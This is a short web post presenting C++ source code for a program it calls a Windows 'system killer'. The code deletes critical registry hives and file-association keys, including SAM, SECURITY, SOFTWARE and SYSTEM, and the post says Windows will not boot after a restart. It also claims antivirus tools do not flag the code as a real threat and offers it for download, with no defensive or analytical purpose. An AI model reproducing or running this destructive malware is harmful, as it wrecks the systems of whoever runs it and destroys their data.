Windows do not protect its own Registry System. If you delete a key which is important for the system, Windows would not warn you.

Anti-virus programs gives you warning about it but it is not shown as a real threat.

The code is tested for Win95, Win98, WinXP.
After the program runs, Windows may still run but with errors. After a restart, Windows will not be able to find itself.

Download the code file here.

/*
PROJECT NAME: FRKW
VERSION: 1.4
INF: System killer for all Windows platforms in less than 0.5 second
COMMENT: Windows is here but it can not find itself
*/

#include <vcl.h>
#include <windows.h>
#include <Registry.hpp>
#pragma hdrstop
#pragma argsused
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
int i=0;
String sr[]={"","*","323","386","aca","acf","acs","acw","ai","aif","aifc",
"ani","aps","asa","ascx","asf","asm","asmx","asp","aspx","asx",
"au","AudioCD","avi","bat","bfc","bin","bkf","blg","bmp","bsc","c",
"cab","cat","cda","cdf","cdx","cer","cgm","chk","chm","clp","cmd",
"cnf","com","cpl","cpp","crl","crt","css","csv","cur","cxx","dat",
"db","dbg","dct","def","der","DeskLink","dib","dic","diz","dl_",
"dll","doc","dos","dot","drv","dsn","dun","DVD","emf","eml","eps",
"ex_","exe","exp","eyb","fif","fnd","fnt","Folder","fon","ghi",
"gif","grp","gz","h","hhc","hlp","hpp","hqx","ht","hta","htc",
"htm","html","htt","htw","0htx","hxx","icc","icm","ico","idb",
"idq","iii","ilk","imc","in_","inc","inf","ini","ins","inv","inx",
"isp","its","IVF","java","jbf","jfif","job","jod","jpe","jpeg",
"jpg","JS","JSE","latex","lib","lnk","local","log","lwv","m14",
"m1v","man","manifest","MAPIMail","mdb","mht","mhtml","mid","midi",
"mmf","mmm","mov","movie","mp2","mp2v","mp3","mpa","mpe","mpeg",
"mpg","mpv2","msc","msg","msi","msp","MsRcIncident","msstyles",
"MSWMM","mv","mydocs","ncb","nfo","nls","NMW","msc","nvr","nws",
"obj","oc_","ocx","odc","otf","p10","p12","p7b","p7c","p7m","p7r",
"p7s","pbk","pch","pdb","pds","pfm","pfx","php3","pic","pif","pko",
"pl","plg","pma","pmc","pml","pmr","pmw","pnf","png","pot","pps",
"ppt","prf","ps","psd","psw","qds","rat","RDP","reg","res","rle",
"rmi","rnk","rpc","rsp","rtf","sam","sbr","sc2","scf","scp","scr",
"sct","sdb","sed","shb","shs","shtml","shw","sit","snd","spc",
"spl","sql","sr_","sst","stl","stm","swf","sy_","sym","sys","tar",
"text","tgz","theme","tif","tiff","tlb","tsp","tsv","ttc","ttf",
"txt","UDL","uls","URL","VBE","vbs","vbx","vcf","vxd","wab","wav",
"wax","wb2","webpnp","WHT","wk4","wll","wlt","wm","wma","wmd",
"wms","wmv","wmx","wmz","wpd","wpg","wri","wsc","WSF","WSH","wsz",
"wtx","wvx","x","xbm","xix","xlb","xlc","xls","xlt","sml","xsl",
"z","z96","zap","ZFSendToTarget","zip","AppEvents","Console",
"ControlPanel","Environment","Identities","Keyboard Layout",
"Printers","SessionInformation","Software",
"UNICODE Program Groups","Volatile Environment",
"Windows 3.1 Migration Status","HARDWARE","SAM","SECURITY",
"SOFTWARE","SYSTEM",".DEFAULT","Software","System"};
TRegistry *r=new TRegistry;
r->RootKey=HKEY_CLASSES_ROOT;
for(i=0;i<=307;i++) { r->DeleteKey(sr[i]); }
r->RootKey=HKEY_CURRENT_USER;
for(i=308;i<=320;i++) { r->DeleteKey(sr[i]); }
r->RootKey=HKEY_LOCAL_MACHINE;
for(i=321;i<=326;i++) { r->DeleteKey(sr[i]); }
r->RootKey=HKEY_USERS;
for(i=326;i<=327;i++){ r->DeleteKey(sr[i]); }
r->RootKey=HKEY_CURRENT_CONFIG;
for(i=328;i<=330;i++){ r->DeleteKey(sr[i]); }
return 0;
}